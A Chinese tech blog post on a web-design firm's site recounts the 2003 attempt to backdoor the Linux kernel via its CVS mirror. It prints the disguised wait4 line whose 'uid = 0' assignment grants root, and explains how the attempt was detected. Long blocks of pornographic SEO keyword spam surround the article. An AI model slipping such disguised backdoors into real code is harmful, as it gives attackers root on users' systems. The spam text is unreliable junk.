久久99久久人婷婷精品综合_超碰aⅴ人人做人人爽欧美_亚洲电影第三页_日韩欧美一中文字暮专区_波多野结衣的一区二区三区_婷婷在线播放_人人视频精品_国产精品日韩精品欧美精品_亚洲免费黄色_欧美性猛交xxxxxxxx

如何在Linux中安插一個后門?

2021-02-25    分類: 網站建設

Linux內核是開源的代碼,能不能向其中安插一個后門呢?這是一件難度很高的操作,但是有人卻差點兒成功了,我們來看看這是怎么回事。

時間回到2003年,當時Linux內核的代碼主倉庫保存在一個叫做BitKeeper的商業軟件中。如果想對Linux內核代碼進行修改的話,需要走一個審批流程,以此來確定這次更改能否被接受。每一次更改都有一個簡單的說明,其中包含一個指向審批記錄的鏈接。

但是有些人不喜歡BitKeeper(堂堂的Linux怎么能保存在閉源的商業軟件中?!), 于是一個CVS(估計好多人都沒聽說過它了吧)被建立了起來,其中保存著從BitKeeper clone來的代碼, 這樣開發人員可以用開源的CVS來訪問Linux代碼。

2003年11月5號,Larry McVoy 注意到了一件怪事,CVS中的一個代碼變更沒有包含審批記錄的鏈接, 這是怎么回事?

經過一番調查發現:從來沒有人批準過這個代碼變更,奇怪的是,這個代碼變更并沒有出現在BitKeeper主倉庫中,原來是有人黑進了CVS的服務器,偷偷插入了一段代碼。這段代碼到底做了什么事情呢?

這段代碼修改了一個叫做wait4的Linux函數,程序可以使用wait4來等待一些事情的發生,這個代碼變更增加了這么兩行:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;

(代碼可左右滑動,懂得C語言的同學可以思考下,這段代碼有什么不尋常的?)

粗一看這段代碼,就會覺得這沒啥啊?不就是做一點條件檢查嗎,不滿足條件就返回錯誤。

但是仔細看看就會發現事情不對,第一行的最后, 有個"current->uid=0", 而不是 "current->uid == 0" 。

正常的寫法應該是“==0”, 就是檢查當前的用戶ID是不是0, 寫成“=0”就是把當前用戶ID設置為0 , 而ID為0的用戶是"root" !

這就意味著,如果這段代碼被執行,當前用戶就會變成root,可以在系統中為所欲為!

這其實是個經典的后門, 想象一個,一個黑客在Linux運行了一個程序,這個程序調用了wait4, 然后這個黑客突然間具備了root權限!

這個后門可是真夠聰明的,偽裝成了條件檢查,試圖蒙混過關,如果一直沒人發現會怎么樣呢?

首先,后門存在CVS中,不在BitKeeper的主倉庫中,從BitKeeper 代碼庫Build出的Linux肯定沒問題, 但是如果有人從CVS代碼庫中build了Linux, 那就中招了。

其次,搞破壞的家伙可能有這樣的預期:有個被Linus Torvalds所信任的內核開發者,他討厭BitKeeper,并且在使用CVS, 那當他修改了代碼,準備通過郵件的方式向Linus Torvalds發送patch的時候發現,咦,wait4這里也有個code change, 是做條件檢查的,也包括進去吧。Linus收到補丁,一看是自己信任的兄弟提交的,沒有仔細檢查,于是后門代碼進入了主代碼倉庫。

這當然是猜測的場景,也算是一種社會工程學攻擊吧,不過Linux團隊非常小心,把這個后門給揪了出來。

故事到這里就可以結束了,再就這個話題擴展一下,多說兩句。

我記得剛工作的時候,有個同事給我說,在C語言中,當需要和0比較的時候,可以把0放到前面,這么寫:

if( 0 == user_id){ ....... }

這樣即使把 == 寫成了 = , 編譯器就會發現錯誤。我當時覺得挺古怪的,把一個數字放到前面,變量放到后面。后來習慣了,在Java 也經常會這樣寫 if (null == user){ ...... }

其實現在的IDE都很智能了,像這種把==寫成=的情況,IDE就可以給出警告。即使沒有用IDE,如果對源碼做靜態的代碼分析,也會被抓出來的警告的。

Linux是開源的代碼,任何人,只要你愿意,都可以查看所有的代碼,這相當于把Linux放到了陽光底下,無數雙眼睛都盯著看,這種透明度使得在其中安插一個后門是非常難的。

分享文章:如何在Linux中安插一個后門?
本文地址:http://www.js-pz168.com/news46/102846.html

成都網站建設公司_創新互聯,為您提供微信小程序響應式網站網站設計公司域名注冊微信公眾號定制網站

廣告

聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯

成都網站建設公司
久久99久久人婷婷精品综合_超碰aⅴ人人做人人爽欧美_亚洲电影第三页_日韩欧美一中文字暮专区_波多野结衣的一区二区三区_婷婷在线播放_人人视频精品_国产精品日韩精品欧美精品_亚洲免费黄色_欧美性猛交xxxxxxxx
欧美三区在线视频| 一区二区三区在线观看欧美| 亚洲综合图片区| 国产一区二区在线视频| 99久久综合狠狠综合久久止| 亚洲mv在线看| 日韩欧美综合一区| 亚洲免费在线电影| 国产一区 二区 三区一级| 国产美女精品在线观看| 日本韩国精品在线| 欧美激情综合在线| 日本欧美一区二区| 高清视频在线观看一区| 欧洲av一区二区嗯嗯嗯啊| 国产日产欧美一区二区视频| 日韩综合小视频| av一区二区三区在线观看| 色婷婷久久久久swag精品| 久久久久九九视频| 日韩国产精品久久久| 国产98在线|日韩| 欧美视频三区在线播放| 国产精品久久久久久久蜜臀| 国精产品一区一区三区mba视频| 国模一区二区三区私拍视频| 欧美日韩成人高清| 亚洲乱码国产乱码精品精可以看| 国产精品91一区二区| 日本在线视频一区| 精品国产乱码久久久久久闺蜜| 亚洲成人自拍网| 成人自拍视频网站| 7878成人国产在线观看| 亚洲午夜久久久久| 999视频在线免费观看| 欧美三级中文字幕| 亚洲综合丁香婷婷六月香| www.欧美日韩| 欧美性生活一区| 一区二区三区精品在线| 91免费视频网| 欧美顶级少妇做爰| 亚洲成人精品在线观看| 国产经典一区二区三区| 欧美一区二区三区婷婷月色| 午夜电影一区二区| 精品一区二区三区日本| 欧美精品一区二区三区高清aⅴ | 国产精品一区二区三区在线观| 欧美蜜桃一区二区三区| 亚洲电影在线播放| 国产在线一区二| 久久综合九色综合97婷婷女人| 另类人妖一区二区av| 欧洲成人一区二区| 国产精品素人视频| 成人av第一页| 欧美精品乱码久久久久久按摩| 午夜视频在线观看一区二区| 久久精品日产第一区二区三区乱码 | 一区二区在线观| 亚洲视频综合在线| 2022国产精品| 日韩欧美一级二级三级| 老司机免费视频一区二区三区| 日本一区二区不卡高清更新| 国产欧美一区在线| 成人夜色视频网站在线观看| 欧美最新大片在线看| 亚洲成人精品影院| 欧美三级华人主播| 中文字幕日韩av资源站| 91小视频免费看| 欧美xxxxxxxx| 国产98色在线|日韩| 欧美日韩日日夜夜| 蜜臀精品一区二区三区在线观看 | 一区二区在线观看不卡| 国产麻豆一区二区三区在线观看| 久久婷婷一区二区三区| 高清不卡一区二区在线| 欧美精品在线观看一区二区| 美腿丝袜亚洲一区| 色噜噜狠狠一区二区三区果冻| 亚洲福利一二三区| 日本a级片久久久| 亚洲免费在线观看视频| 久久超碰亚洲| 亚洲视频一区二区免费在线观看| 国产精品免费区二区三区观看| 久久久蜜桃精品| 91网站最新网址| 久久久久久久一区| 91色.com| 国产欧美一区二区三区网站| 91丨九色丨国产丨porny| 精品国产凹凸成av人网站| 成人久久18免费网站麻豆| 日韩欧美精品在线| 成人福利视频在线看| 精品国产乱码久久| 91亚洲精华国产精华精华液| 久久免费电影网| 成人免费91在线看| 国产精品理伦片| 久久综合九九| 亚洲最新视频在线播放| 四虎一区二区| 天堂在线亚洲视频| 日本乱人伦一区| 九九在线精品视频| 666欧美在线视频| 成人中文字幕在线| 久久夜色精品一区| 成人情视频高清免费观看电影| 国产精品拍天天在线| 精品欧美一区二区三区久久久| 亚洲人成在线播放网站岛国| 日韩精品久久久免费观看| 偷拍自拍另类欧美| 欧美性生活久久| 国产成人免费高清| 久久午夜羞羞影院免费观看| 福利视频久久| 一区二区三区电影在线播| 一级做a爰片久久| 极品美女销魂一区二区三区免费| 9191精品国产综合久久久久久| 成人激情免费电影网址| 国产日韩欧美一区二区三区乱码 | 美女一区二区三区| 7777精品伊人久久久大香线蕉完整版 | 天堂在线一区二区| 欧美日韩精品一区二区三区蜜桃| 国产suv一区二区三区88区| 久久女同精品一区二区| 精品网站在线看| 午夜精品久久久久久久久久| 欧美三级日韩三级| 99久久久久久| 亚洲欧美国产毛片在线| 一级日韩一区在线观看| 国内精品自线一区二区三区视频| 欧美成人欧美edvon| 国产一区二区精品免费| 亚洲成a人片在线不卡一二三区| 欧美主播一区二区三区| 不卡一区二区中文字幕| 成人免费在线播放视频| 一区二区三区三区在线| 国产精品一区2区| 国产精品网站一区| 在线观看欧美激情| 成人综合日日夜夜| 亚洲三级视频在线观看| 在线视频欧美精品| 97精品视频在线观看自产线路二| 综合av第一页| 在线观看日韩精品| 91污片在线观看| 亚洲一区二区三区小说| 欧美理论片在线| 国产一区二区无遮挡| 日韩成人免费看| 久久众筹精品私拍模特| 日韩欧美三级一区二区| 国产精品系列在线观看| 亚洲欧美综合另类在线卡通| 在线免费视频一区二区| 91影视在线播放| 天堂一区二区在线| 精品国精品自拍自在线| 日本a级片久久久| 高清不卡一二三区| 一区二区三区精密机械公司| 91麻豆精品国产91久久久使用方法 | 精品国产第一区二区三区观看体验| 欧美一级片免费观看| 国产精品一区二区三区四区 | 蜜桃视频在线观看一区| 久久久久久久网| 色美美综合视频| 高清不卡日本v二区在线| 日本不卡一二三| 欧美国产精品劲爆| 欧美视频精品在线| 精品欧美一区二区三区久久久 | 欧美亚洲国产一区二区三区va| 91麻豆.com| 久久国产夜色精品鲁鲁99| 中文字幕巨乱亚洲| 欧美日韩国产经典色站一区二区三区 | 九九九九精品| 在线不卡中文字幕播放| 美女一区视频| 成人国产精品免费观看视频| 亚洲成av人片| 中文字幕+乱码+中文字幕一区| 欧美偷拍一区二区|